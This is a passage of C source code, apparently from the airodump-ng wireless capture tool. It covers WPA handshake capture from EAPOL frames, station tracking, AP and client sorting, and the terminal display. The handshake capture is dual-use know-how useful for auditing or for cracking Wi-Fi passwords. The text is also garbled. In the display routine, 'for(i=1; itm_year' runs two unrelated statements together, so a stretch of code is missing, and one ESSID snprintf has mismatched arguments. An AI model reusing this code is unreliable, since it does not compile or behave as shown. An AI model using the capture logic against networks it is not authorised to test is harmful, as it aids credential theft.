ethertype if( st_cur == NULL ) goto write_packet; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > (uint)caplen ) goto write_packet; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - (uint)z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - (uint)z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); memcpy( G.wpa_bssid, ap_cur->bssid, 6 ); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ", G.wpa_bssid[0], G.wpa_bssid[1], G.wpa_bssid[2], G.wpa_bssid[3], G.wpa_bssid[4], G.wpa_bssid[5]); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } write_packet: if(ap_cur != NULL) { if( h80211[0] == 0x80 && G.one_beacon){ if( !ap_cur->beacon_logged ) ap_cur->beacon_logged = 1; else return ( 0 ); } } if(G.record_data) { if( ( (h80211[0] & 0x0C) == 0x00 ) && ( (h80211[0] & 0xF0) == 0xB0 ) ) { /* authentication packet */ check_shared_key(h80211, caplen); } } if(ap_cur != NULL) { if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { return(1); } if(is_filtered_essid(ap_cur->essid)) { return(1); } } /* this changes the local ap_cur, st_cur and na_cur variables and should be the last check befor the actual write */ if(caplen < 24 && caplen >= 10 && h80211[0]) { /* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/ //(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 || h80211[0] == 0xE4 || h80211[0] == 0xF4) /* use general control frame detection, as the structure is always the same: mac(s) starting at [4] */ if(h80211[0] & 0x04) { p=h80211+4; while(p <= h80211+16 && p<=h80211+caplen) { memcpy(namac, p, 6); if(memcmp(namac, NULL_MAC, 6) == 0) { p+=6; continue; } if(memcmp(namac, BROADCAST, 6) == 0) { p+=6; continue; } if(G.hide_known) { /* check AP list */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, namac, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's an AP, try next mac */ if( ap_cur != NULL ) { p+=6; continue; } /* check ST list */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, namac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a client, try next mac */ if( st_cur != NULL ) { p+=6; continue; } } /* not found in either AP list or ST list, look through NA list */ na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, namac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* update our chained list of unknown stations */ /* if it's a new mac, add it */ if( na_cur == NULL ) { if( ! ( na_cur = (struct NA_info *) malloc( sizeof( struct NA_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( na_cur, 0, sizeof( struct NA_info ) ); if( G.na_1st == NULL ) G.na_1st = na_cur; else na_prv->next = na_cur; memcpy( na_cur->namac, namac, 6 ); na_cur->prev = na_prv; gettimeofday(&(na_cur->tv), NULL); na_cur->tinit = time( NULL ); na_cur->tlast = time( NULL ); na_cur->power = -1; na_cur->channel = -1; na_cur->ack = 0; na_cur->ack_old = 0; na_cur->ackps = 0; na_cur->cts = 0; na_cur->rts_r = 0; na_cur->rts_t = 0; } /* update the last time seen & power*/ na_cur->tlast = time( NULL ); na_cur->power = ri->ri_power; na_cur->channel = ri->ri_channel; switch(h80211[0] & 0xF0) { case 0xB0: if(p == h80211+4) na_cur->rts_r++; if(p == h80211+10) na_cur->rts_t++; break; case 0xC0: na_cur->cts++; break; case 0xD0: na_cur->ack++; break; default: na_cur->other++; break; } /*grab next mac (for rts frames)*/ p+=6; } } } if( G.f_cap != NULL && caplen >= 10) { pkh.caplen = pkh.len = caplen; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = ( tv.tv_usec & ~0x1ff ) + ri->ri_power + 64; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( h80211, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } fflush( stdout ); } return( 0 ); } void dump_sort( void ) { time_t tt = time( NULL ); /* thanks to Arnaud Cornet :-) */ struct AP_info *new_ap_1st = NULL; struct AP_info *new_ap_end = NULL; struct ST_info *new_st_1st = NULL; struct ST_info *new_st_end = NULL; struct ST_info *st_cur, *st_min; struct AP_info *ap_cur, *ap_min; /* sort the aps by WHATEVER first */ while( G.ap_1st ) { ap_min = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( tt - ap_cur->tlast > 20 ) ap_min = ap_cur; ap_cur = ap_cur->next; } if( ap_min == NULL ) { ap_min = ap_cur = G.ap_1st; /*#define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 6 #define SORT_BY_CHAN 7 #define SORT_BY_MBIT 8 #define SORT_BY_ENC 9 #define SORT_BY_CIPHER 10 #define SORT_BY_AUTH 11 #define SORT_BY_ESSID 12*/ while( ap_cur != NULL ) { switch (G.sort_by) { case SORT_BY_BSSID: if( memcmp(ap_cur->bssid,ap_min->bssid,6)*G.sort_inv < 0) ap_min = ap_cur; break; case SORT_BY_POWER: if( (ap_cur->avg_power - ap_min->avg_power)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_BEACON: if( (ap_cur->nb_bcn < ap_min->nb_bcn)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_DATA: if( (ap_cur->nb_data < ap_min->nb_data)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_PRATE: if( (ap_cur->nb_dataps - ap_min->nb_dataps)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CHAN: if( (ap_cur->channel - ap_min->channel)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_MBIT: if( (ap_cur->max_speed - ap_min->max_speed)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ENC: if( ((ap_cur->security&STD_FIELD) - (ap_min->security&STD_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CIPHER: if( ((ap_cur->security&ENC_FIELD) - (ap_min->security&ENC_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_AUTH: if( ((ap_cur->security&AUTH_FIELD) - (ap_min->security&AUTH_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ESSID: if( (strncasecmp((char*)ap_cur->essid, (char*)ap_min->essid, MAX_IE_ELEMENT_SIZE))*G.sort_inv < 0 ) ap_min = ap_cur; break; default: //sort by power if( ap_cur->avg_power < ap_min->avg_power) ap_min = ap_cur; break; } ap_cur = ap_cur->next; } } if( ap_min == G.ap_1st ) G.ap_1st = ap_min->next; if( ap_min == G.ap_end ) G.ap_end = ap_min->prev; if( ap_min->next ) ap_min->next->prev = ap_min->prev; if( ap_min->prev ) ap_min->prev->next = ap_min->next; if( new_ap_end ) { new_ap_end->next = ap_min; ap_min->prev = new_ap_end; new_ap_end = ap_min; new_ap_end->next = NULL; } else { new_ap_1st = new_ap_end = ap_min; ap_min->next = ap_min->prev = NULL; } } G.ap_1st = new_ap_1st; G.ap_end = new_ap_end; /* now sort the stations */ while( G.st_1st ) { st_min = NULL; st_cur = G.st_1st; while( st_cur != NULL ) { if( tt - st_cur->tlast > 60 ) st_min = st_cur; st_cur = st_cur->next; } if( st_min == NULL ) { st_min = st_cur = G.st_1st; while( st_cur != NULL ) { if( st_cur->power < st_min->power) st_min = st_cur; st_cur = st_cur->next; } } if( st_min == G.st_1st ) G.st_1st = st_min->next; if( st_min == G.st_end ) G.st_end = st_min->prev; if( st_min->next ) st_min->next->prev = st_min->prev; if( st_min->prev ) st_min->prev->next = st_min->next; if( new_st_end ) { new_st_end->next = st_min; st_min->prev = new_st_end; new_st_end = st_min; new_st_end->next = NULL; } else { new_st_1st = new_st_end = st_min; st_min->next = st_min->prev = NULL; } } G.st_1st = new_st_1st; G.st_end = new_st_end; } int getBatteryState() { return get_battery_state(); } char * getStringTimeFromSec(double seconds) { int hour[3]; char * ret; char * HourTime; char * MinTime; if (seconds <0) return NULL; ret = (char *) calloc(1,256); HourTime = (char *) calloc (1,128); MinTime = (char *) calloc (1,128); hour[0] = (int) (seconds); hour[1] = hour[0] / 60; hour[2] = hour[1] / 60; hour[0] %= 60 ; hour[1] %= 60 ; if (hour[2] != 0 ) snprintf(HourTime, 128, "%d %s", hour[2], ( hour[2] == 1 ) ? "hour" : "hours"); if (hour[1] != 0 ) snprintf(MinTime, 128, "%d %s", hour[1], ( hour[1] == 1 ) ? "min" : "mins"); if ( hour[2] != 0 && hour[1] != 0 ) snprintf(ret, 256, "%s %s", HourTime, MinTime); else { if (hour[2] == 0 && hour[1] == 0) snprintf(ret, 256, "%d s", hour[0] ); else snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime ); } free(MinTime); free(HourTime); return ret; } char * getBatteryString(void) { int batt_time; char * ret; char * batt_string; batt_time = getBatteryState(); if ( batt_time <= 60 ) { ret = (char *) calloc(1,2); ret[0] = ']'; return ret; } batt_string = getStringTimeFromSec( (double) batt_time ); ret = (char *) calloc( 1, 256 ); snprintf( ret, 256, "][ BAT: %s ]", batt_string ); free( batt_string); return ret; } int get_ap_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; int num_ap; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_ap = 0; while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; ap_cur = ap_cur->prev; } return num_ap; } int get_sta_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; struct ST_info *st_cur; int num_sta; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } st_cur = G.st_end; while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; st_cur = st_cur->prev; } ap_cur = ap_cur->prev; } return num_sta; } #define TSTP_SEC 1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */ #define TSTP_MIN (TSTP_SEC * 60ULL) #define TSTP_HOUR (TSTP_MIN * 60ULL) #define TSTP_DAY (TSTP_HOUR * 24ULL) static char *parse_timestamp(unsigned long long timestamp) { static char s[15]; unsigned long long rem; unsigned int days, hours, mins, secs; days = timestamp / TSTP_DAY; rem = timestamp % TSTP_DAY; hours = rem / TSTP_HOUR; rem %= TSTP_HOUR; mins = rem / TSTP_MIN; rem %= TSTP_MIN; secs = rem / TSTP_SEC; snprintf(s, 14, "%3dd %02d:%02d:%02d", days, hours, mins, secs); return s; } void dump_print( int ws_row, int ws_col, int if_num ) { time_t tt; struct tm *lt; int nlines, i, n, len; char strbuf[512]; char buffer[512]; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; struct NA_info *na_cur; int columns_ap = 83; int columns_sta = 74; int columns_na = 68; int num_ap; int num_sta; if(!G.singlechan) columns_ap -= 4; //no RXQ in scan mode if(G.show_uptime) columns_ap += 15; //show uptime needs more space nlines = 2; if( nlines >= ws_row ) return; if(G.do_sort_always) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } tt = time( NULL ); lt = localtime( &tt ); if(G.is_berlin) { G.maxaps = 0; G.numaps = 0; ap_cur = G.ap_end; while( ap_cur != NULL ) { G.maxaps++; if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } G.numaps++; ap_cur = ap_cur->prev; } if(G.numaps > G.maxnumaps) G.maxnumaps = G.numaps; // G.maxaps--; } /* * display the channel, battery, position (if we are connected to GPSd) * and current time */ memset( strbuf, '\0', sizeof(strbuf) ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.freqoption) { snprintf(strbuf, sizeof(strbuf)-1, " Freq %4d", G.frequency[0]); for(i=1; itm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } else { snprintf( buffer, sizeof( buffer ) - 1, " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.elapsed_time, 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(G.is_berlin) { snprintf( buffer, sizeof( buffer ) - 1, " ][%3d/%3d/%4d ", G.numaps, G.maxnumaps, G.maxaps); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(strlen(G.message) > 0) { strncat(strbuf, G.message, (512-strlen(strbuf))); } //add traling spaces to overwrite previous messages strncat(strbuf, " ", (512-strlen(strbuf))); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); /* print some informations about each detected AP */ nlines += 3; if( nlines >= ws_row ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.show_ap) { strbuf[0] = 0; strcat(strbuf, " BSSID PWR "); if(G.singlechan) strcat(strbuf, "RXQ "); strcat(strbuf, " Beacons #Data, #/s CH MB ENC CIPHER AUTH "); if (G.show_uptime) strcat(strbuf, " UPTIME "); strcat(strbuf, "ESSID"); if ( G.show_manufacturer && ( ws_col > (columns_ap - 4) ) ) { // write spaces (32). memset(strbuf+columns_ap, 32, G.maxsize_essid_seen - 5 ); // 5 is the len of "ESSID" snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s"," MANUFACTURER"); } strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; if(G.selection_ap) { num_ap = get_ap_list_count(); if(G.selected_ap > num_ap) G.selected_ap = num_ap; } if(G.selection_sta) { num_sta = get_sta_list_count(); if(G.selected_sta > num_sta) G.selected_sta = num_sta; } num_ap = 0; if(G.selection_ap) { G.start_print_ap = G.selected_ap - ((ws_row-1) - nlines) + 1; if(G.start_print_ap < 1) G.start_print_ap = 1; // printf("%i\n", G.start_print_ap); } while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; if(num_ap < G.start_print_ap) { ap_cur = ap_cur->prev; continue; } nlines++; if( nlines > (ws_row-1) ) return; memset(strbuf, '\0', sizeof(strbuf)); snprintf( strbuf, sizeof(strbuf), " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); len = strlen(strbuf); if(G.singlechan) { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->rx_quality, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } else { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } len = strlen(strbuf); snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d%c%c ", ap_cur->channel, ap_cur->max_speed, ( ap_cur->security & STD_QOS ) ? 'e' : ' ', ( ap_cur->preamble ) ? '.' : ' '); len = strlen(strbuf); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) snprintf( strbuf+len, sizeof(strbuf)-len, " " ); else if( ap_cur->security & STD_WPA2 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA2" ); else if( ap_cur->security & STD_WPA ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA " ); else if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP " ); else if( ap_cur->security & STD_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN " ); strncat( strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1); len = strlen(strbuf); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & ENC_CCMP ) snprintf( strbuf+len, sizeof(strbuf)-len, "CCMP "); else if( ap_cur->security & ENC_WRAP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WRAP "); else if( ap_cur->security & ENC_TKIP ) snprintf( strbuf+len, sizeof(strbuf)-len, "TKIP "); else if( ap_cur->security & ENC_WEP104 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP104 "); else if( ap_cur->security & ENC_WEP40 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP40 "); else if( ap_cur->security & ENC_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP "); len = strlen(strbuf); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & AUTH_MGT ) snprintf( strbuf+len, sizeof(strbuf)-len, "MGT"); else if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "SKA"); else snprintf( strbuf+len, sizeof(strbuf)-len, "PSK"); } else if( ap_cur->security & AUTH_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN"); len = strlen(strbuf); if (G.show_uptime) { snprintf(strbuf+len, sizeof(strbuf)-len, " %14s", parse_timestamp(ap_cur->timestamp)); len = strlen(strbuf); } strbuf[ws_col-1] = '\0'; if(G.selection_ap && ((num_ap) == G.selected_ap)) { if(G.mark_cur_ap) { if(ap_cur->marked == 0) { ap_cur->marked = 1; } else { ap_cur->marked_color++; if(ap_cur->marked_color > (TEXT_MAX_COLOR-1)) { ap_cur->marked_color = 1; ap_cur->marked = 0; } } G.mark_cur_ap = 0; } textstyle(TEXT_REVERSE); memcpy(G.selected_bssid, ap_cur->bssid, 6); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } fprintf(stderr, "%s", strbuf); if( ws_col > (columns_ap - 4) ) { memset( strbuf, 0, sizeof( strbuf ) ); if(ap_cur->essid[0] != 0x00) { snprintf( strbuf, sizeof( strbuf ) - 1, "%s", ap_cur->essid ); } else { snprintf( strbuf, sizeof( strbuf ) - 1, "%s", ap_cur->ssid_length, "\x00" ); } if (G.show_manufacturer) { if (G.maxsize_essid_seen <= strlen(strbuf)) G.maxsize_essid_seen = strlen(strbuf); else // write spaces (32) memset( strbuf+strlen(strbuf), 32, (G.maxsize_essid_seen - strlen(strbuf)) ); if (ap_cur->manuf == NULL) ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); snprintf( strbuf + G.maxsize_essid_seen , sizeof(strbuf)-G.maxsize_essid_seen, " %s", ap_cur->manuf ); } // write spaces (32) until the end of column memset( strbuf+strlen(strbuf), 32, ws_col - (columns_ap - 4 ) ); // end the string at the end of the column strbuf[ws_col - (columns_ap - 4)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); if( (G.selection_ap && ((num_ap) == G.selected_ap)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } /* print some informations about each detected station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); } if(G.show_sta) { memcpy( strbuf, " BSSID STATION " " PWR Rate Lost Frames Probes", columns_sta ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } if( nlines >= (ws_row-1) ) return; st_cur = G.st_end; if(G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) { textstyle(TEXT_REVERSE); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; if(G.start_print_sta > num_sta) continue; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( stderr, " (not associated) " ); else fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); fprintf( stderr, " %3d ", st_cur->power ); fprintf( stderr, " %2d", st_cur->rate_to/1000000 ); fprintf( stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' '); fprintf( stderr, "-%2d", st_cur->rate_from/1000000); fprintf( stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' '); fprintf( stderr, " %4d", st_cur->missed ); fprintf( stderr, " %8ld", st_cur->nb_pkt ); if( ws_col > (columns_sta - 6) ) { memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c%s", ( i > 0 ) ? ',' : ' ', st_cur->probes[i] ); n += ( 1 + strlen( st_cur->probes[i] ) ); if( n >= (int) sizeof( ssid_list ) ) break; } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ssid_list ); strbuf[ws_col - (columns_sta - 6)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); st_cur = st_cur->prev; } if( (G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } } if(G.show_ack) { /* print some informations about each unknown station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memcpy( strbuf, " MAC " " CH PWR ACK ACK/s CTS RTS_RX RTS_TX OTHER", columns_na ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); na_cur = G.na_1st; while( na_cur != NULL ) { if( time( NULL ) - na_cur->tlast > 120 ) { na_cur = na_cur->next; continue; } if( nlines >= (ws_row-1) ) return; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", na_cur->namac[0], na_cur->namac[1], na_cur->namac[2], na_cur->namac[3], na_cur->namac[4], na_cur->namac[5] ); fprintf( stderr, " %3d", na_cur->channel ); fprintf( stderr, " %3d", na_cur->power ); fprintf( stderr, " %6d", na_cur->ack ); fprintf( stderr, " %4d", na_cur->ackps ); fprintf( stderr, " %6d", na_cur->cts ); fprintf( stderr, " %6d", na_cur->rts_r ); fprintf( stderr, " %6d", na_cur->rts_t ); fprintf( stderr, " %6d", na_cur->other ); fprintf( stderr, "\n" ); na_cur = na_cur->next; } } } int dump_write_csv( void ) { int i, j, n; struct tm *ltime; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; if (! G.record_data || 